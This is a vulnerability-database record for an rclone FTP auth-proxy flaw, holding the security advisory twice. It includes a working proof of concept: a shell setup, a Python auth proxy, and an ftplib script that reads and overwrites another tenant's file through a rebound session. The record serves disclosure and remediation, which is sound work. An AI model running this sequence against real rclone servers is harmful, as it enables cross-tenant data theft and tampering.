{"id":"CVE-2026-88017","aliases":["BIT-rclone-2026-88017","DEBIAN-CVE-2026-88017","EUVD-2026-75577","GHSA-c476-6w5q-jw77","GO-2026-6458","ROOT-APP-GOBINARY-CVE-2026-88017","SUSE-SU-2026:23855-1","SUSE-SU-2026:23863-1","UBUNTU-CVE-2026-88017","openSUSE-SU-2026:21897-1"],"status":"published","title":"rclone: FTP cross-session auth-proxy backend confusion","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00234,"percentile":0.14424,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-488"],"published":"2026-09-10T15:55:15Z","modified":"2026-10-28T02:31:07Z","fixes":[{"ecosystem":"Go","package":"github.com/rclone/rclone","fixed_in":["1.75.1"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"rclone","fixed_in":["1.75.1"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"github.com/rclone/rclone","fixed_in":["v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.4","v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.5"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"rootio-github.com/rclone/rclone","fixed_in":["v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.4","v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.5"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/rclone/rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.64.0"},{"last_affected":"1.75.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"rclone","ranges":[{"type":"SEMVER","events":[{"introduced":"1.64.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.60.1+dfsg-2","1.60.1+dfsg-3","1.60.1+dfsg-4","1.65.0+dfsg-1","1.65.0+dfsg-2","1.69.3+dfsg-1","1.69.3+dfsg-2","1.69.3+dfsg-3"]},{"source":"osv","ecosystem":"Debian:13","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.60.1+dfsg-4","1.65.0+dfsg-1","1.65.0+dfsg-2","1.69.3+dfsg-1","1.69.3+dfsg-2","1.69.3+dfsg-3"]},{"source":"osv","ecosystem":"Go","package":"github.com/rclone/rclone","ranges":[{"type":"SEMVER","events":[{"introduced":"1.64.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/rclone/rclone","ranges":[{"type":"SEMVER","events":[{"introduced":"1.64.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"github.com/rclone/rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.4"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-github.com/rclone/rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.4"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.5"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91}],"products":[{"vendor":"rclone","product":"rclone"}],"references":[{"url":"https://github.com/rclone/rclone/security/advisories/GHSA-c476-6w5q-jw77","tags":["x_refsource_CONFIRM","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/rclone/rclone/commit/c6af0b57c2b4af848bc968c2b407354476184b99","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/rclone/rclone/releases/tag/v1.75.1","tags":["x_refsource_MISC","Release Notes","article","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88017","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-c476-6w5q-jw77"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/88xxx/CVE-2026-88017.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-88017","tags":["advisory"]},{"url":"https://github.com/rclone/rclone","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623855-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24979","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58363","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25782","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27660","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27780","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56665","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56666","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56668","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56743","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59157","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59161","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59185","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-60004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65959","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68584","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68585","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68586","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68587","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69083","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69084","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71493","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72789","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72790","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72792","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72793","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72794","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72795","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72796","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72797","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72798","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72799","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72800","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72801","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72802","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72804","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72805","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72806","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72807","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72808","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72809","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72810","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72811","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72812","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73087","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73293","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73294","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73667","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73840","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73841","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73842","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73843","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-75602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76081","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-79921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84304","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88007","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88008","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88009","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88011","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88012","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88013","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88014","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88015","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88016","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88017","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88018","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88044","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88046","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623863-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-88017","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-88017","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-88017","title":"rclone: FTP cross-session auth-proxy backend confusion","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T15:55:15.871Z","modified":"2026-09-11T20:33:16.81Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-488"],"updated_at":"2026-11-02T13:41:53.237769Z"}],"euvd":[{"id":"EUVD-2026-75577","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T15:55:15Z","modified":"2026-09-11T20:33:16Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:21.886667Z"}],"ghsa":[{"id":"GHSA-c476-6w5q-jw77","title":"rclone: FTP cross-session auth-proxy backend confusion","description":"## Summary\n\nThe FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.\n\nThis is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: `cmd/serve/proxy` keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.\n\nConfirmed affected versions are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The username-global map was introduced in `v1.64.0`, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/ftp/ftp.go:170-178` defines `userPass map[string]string` as driver-global state keyed only by username.\n- `cmd/serve/ftp/ftp.go:318-335` validates `(user, pass)` through the proxy and then overwrites `d.userPass[user]`.\n- `cmd/serve/ftp/ftp.go:352-373` retrieves the current map entry by `Sess.LoginUser()` for every filesystem operation and calls the proxy again with that password.\n- `cmd/serve/ftp/ftp.go:376` onward routes FTP filesystem operations through `getVFS`, including stat, listing, retrieval, upload, rename, and deletion.\n- `cmd/serve/proxy/proxy.go:114-119` documents credential- and client-IP-aware backend caching.\n- `cmd/serve/proxy/proxy.go:235-243` derives a cache key from username, credential, and client IP.\n- `cmd/serve/proxy/proxy.go:328-365` resolves and verifies the VFS using that composite identity.\n- Attack surface: any `rclone serve ftp --auth-proxy ...` deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.\n\n## Technical Root Cause Analysis\n\nAuthentication initially uses the correct session data:\n\n```go\nd.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())\n```\n\nAfter success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:\n\n```go\nd.userPass[user] = oPass\n```\n\nFor each later FTP operation, `getVFS` knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.\n\nThe authorization sequence is therefore:\n\n1. Session A authenticates as `shared` with credential A and receives backend A.\n2. Session B authenticates as `shared` with credential B and overwrites `userPass[\"shared\"]`.\n3. Session A performs another FTP command.\n4. `getVFS` uses credential B, not the credential that authenticated Session A.\n5. The proxy returns backend B, and Session A's command runs there.\n\nThis creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.\n\n## Proof of Concept \u0026 Evidence\n\nCreate two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:\n\n```sh\nmkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim\nprintf 'attacker-only\\n' \u003e /tmp/rclone-ftp-attacker/attacker.txt\nprintf 'victim-secret\\n' \u003e /tmp/rclone-ftp-victim/victim.txt\n\ncat \u003e /tmp/rclone-ftp-proxy.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\nrequest = json.load(sys.stdin)\nroots = {\n    \"attacker-token\": \"/tmp/rclone-ftp-attacker\",\n    \"victim-token\": \"/tmp/rclone-ftp-victim\",\n}\n\nif request.get(\"user\") != \"shared\" or request.get(\"pass\") not in roots:\n    sys.exit(1)\n\nprint(json.dumps({\n    \"type\": \"local\",\n    \"_root\": roots[request[\"pass\"]],\n}))\nPY\nchmod 700 /tmp/rclone-ftp-proxy.py\n```\n\nStart the FTP server on loopback:\n\n```sh\n./rclone serve ftp \\\n  --auth-proxy \"python3 /tmp/rclone-ftp-proxy.py\" \\\n  --addr 127.0.0.1:2121 \\\n  --passive-port 30000-30010\n```\n\nIn another terminal, keep both sessions open and trigger the overwrite:\n\n```sh\npython3 - \u003c\u003c'PY'\nimport ftplib\nimport io\n\ndef connect(password):\n    ftp = ftplib.FTP()\n    ftp.connect(\"127.0.0.1\", 2121, timeout=5)\n    ftp.login(\"shared\", password)\n    return ftp\n\nattacker = connect(\"attacker-token\")\n\n# Establish the attacker's original authority.\noriginal = bytearray()\nattacker.retrbinary(\"RETR attacker.txt\", original.extend)\nassert original == b\"attacker-only\\n\"\n\ntry:\n    attacker.size(\"victim.txt\")\n    raise AssertionError(\"victim file unexpectedly visible before overwrite\")\nexcept ftplib.error_perm:\n    pass\n\n# A second principal logs in with the same username and a different token.\nvictim = connect(\"victim-token\")\nassert victim.size(\"victim.txt\") \u003e 0\n\n# The first session is now silently rebound to the victim backend.\nstolen = bytearray()\nattacker.retrbinary(\"RETR victim.txt\", stolen.extend)\nprint(stolen.decode().strip())\nattacker.storbinary(\"STOR victim.txt\", io.BytesIO(b\"modified-by-first-session\\n\"))\n\nattacker.quit()\nvictim.quit()\nPY\n\ngrep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Before the victim login, the attacker session resolves only the attacker root.\n- After the victim login, the already-authenticated attacker session reads `victim.txt`.\n- A write through the attacker session overwrites the file in the victim root.\n\nThe complete automated validation used the actual FTP listener, two simultaneous `github.com/jlaffaye/ftp` clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that `victim.txt` was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationFTPAuthProxyCrossSession\n--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)\n```\n\nBoth PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.\n\n## Impact Assessment\n\nA low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.\n\nThe maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.\n\nThis is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.\n\n## Remediation Guidance\n\nBind the credential or backend identity to the FTP session, never to the username. `goftp.io/server/v2` exposes `sctx.Sess.Data`, which persists across commands for one session and is released with that session.\n\nA compatible fix is:\n\n1. On successful `CheckPasswd`, store a private session binding in `sctx.Sess.Data`. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.\n2. In `getVFS`, retrieve only that session binding. Never consult a driver-global username map.\n3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.\n4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling `Proxy.Call` retains current expiry behavior while maintaining identity.\n5. Remove `userPass`, `userPassMu`, and the associated global credential lifetime after the session-based path is in place.\n\nAvoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes `Session.Data` unsuitable, use the `*ftp.Session` pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.","status":"published","published":"2026-09-10T22:46:33Z","modified":"2026-09-10T22:46:34Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-488"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2026-88017","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T16:18:08.773Z","modified":"2026-09-14T20:00:53.363Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-488"],"updated_at":"2026-11-02T14:12:46.271848Z"}],"osv":[{"id":"CVE-2026-88017","title":"rclone: FTP cross-session auth-proxy backend confusion","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T15:55:15.871Z","modified":"2026-10-28T02:31:07.708776859Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-488"],"updated_at":"2026-11-02T15:45:19.210277Z"},{"id":"DEBIAN-CVE-2026-88017","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T16:18:08.773Z","modified":"2026-09-12T08:47:17.430982872Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:46:05.506112Z"},{"id":"GHSA-c476-6w5q-jw77","title":"rclone: FTP cross-session auth-proxy backend confusion","description":"## Summary\n\nThe FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.\n\nThis is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: `cmd/serve/proxy` keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.\n\nConfirmed affected versions are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The username-global map was introduced in `v1.64.0`, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/ftp/ftp.go:170-178` defines `userPass map[string]string` as driver-global state keyed only by username.\n- `cmd/serve/ftp/ftp.go:318-335` validates `(user, pass)` through the proxy and then overwrites `d.userPass[user]`.\n- `cmd/serve/ftp/ftp.go:352-373` retrieves the current map entry by `Sess.LoginUser()` for every filesystem operation and calls the proxy again with that password.\n- `cmd/serve/ftp/ftp.go:376` onward routes FTP filesystem operations through `getVFS`, including stat, listing, retrieval, upload, rename, and deletion.\n- `cmd/serve/proxy/proxy.go:114-119` documents credential- and client-IP-aware backend caching.\n- `cmd/serve/proxy/proxy.go:235-243` derives a cache key from username, credential, and client IP.\n- `cmd/serve/proxy/proxy.go:328-365` resolves and verifies the VFS using that composite identity.\n- Attack surface: any `rclone serve ftp --auth-proxy ...` deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.\n\n## Technical Root Cause Analysis\n\nAuthentication initially uses the correct session data:\n\n```go\nd.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())\n```\n\nAfter success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:\n\n```go\nd.userPass[user] = oPass\n```\n\nFor each later FTP operation, `getVFS` knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.\n\nThe authorization sequence is therefore:\n\n1. Session A authenticates as `shared` with credential A and receives backend A.\n2. Session B authenticates as `shared` with credential B and overwrites `userPass[\"shared\"]`.\n3. Session A performs another FTP command.\n4. `getVFS` uses credential B, not the credential that authenticated Session A.\n5. The proxy returns backend B, and Session A's command runs there.\n\nThis creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.\n\n## Proof of Concept \u0026 Evidence\n\nCreate two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:\n\n```sh\nmkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim\nprintf 'attacker-only\\n' \u003e /tmp/rclone-ftp-attacker/attacker.txt\nprintf 'victim-secret\\n' \u003e /tmp/rclone-ftp-victim/victim.txt\n\ncat \u003e /tmp/rclone-ftp-proxy.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\nrequest = json.load(sys.stdin)\nroots = {\n    \"attacker-token\": \"/tmp/rclone-ftp-attacker\",\n    \"victim-token\": \"/tmp/rclone-ftp-victim\",\n}\n\nif request.get(\"user\") != \"shared\" or request.get(\"pass\") not in roots:\n    sys.exit(1)\n\nprint(json.dumps({\n    \"type\": \"local\",\n    \"_root\": roots[request[\"pass\"]],\n}))\nPY\nchmod 700 /tmp/rclone-ftp-proxy.py\n```\n\nStart the FTP server on loopback:\n\n```sh\n./rclone serve ftp \\\n  --auth-proxy \"python3 /tmp/rclone-ftp-proxy.py\" \\\n  --addr 127.0.0.1:2121 \\\n  --passive-port 30000-30010\n```\n\nIn another terminal, keep both sessions open and trigger the overwrite:\n\n```sh\npython3 - \u003c\u003c'PY'\nimport ftplib\nimport io\n\ndef connect(password):\n    ftp = ftplib.FTP()\n    ftp.connect(\"127.0.0.1\", 2121, 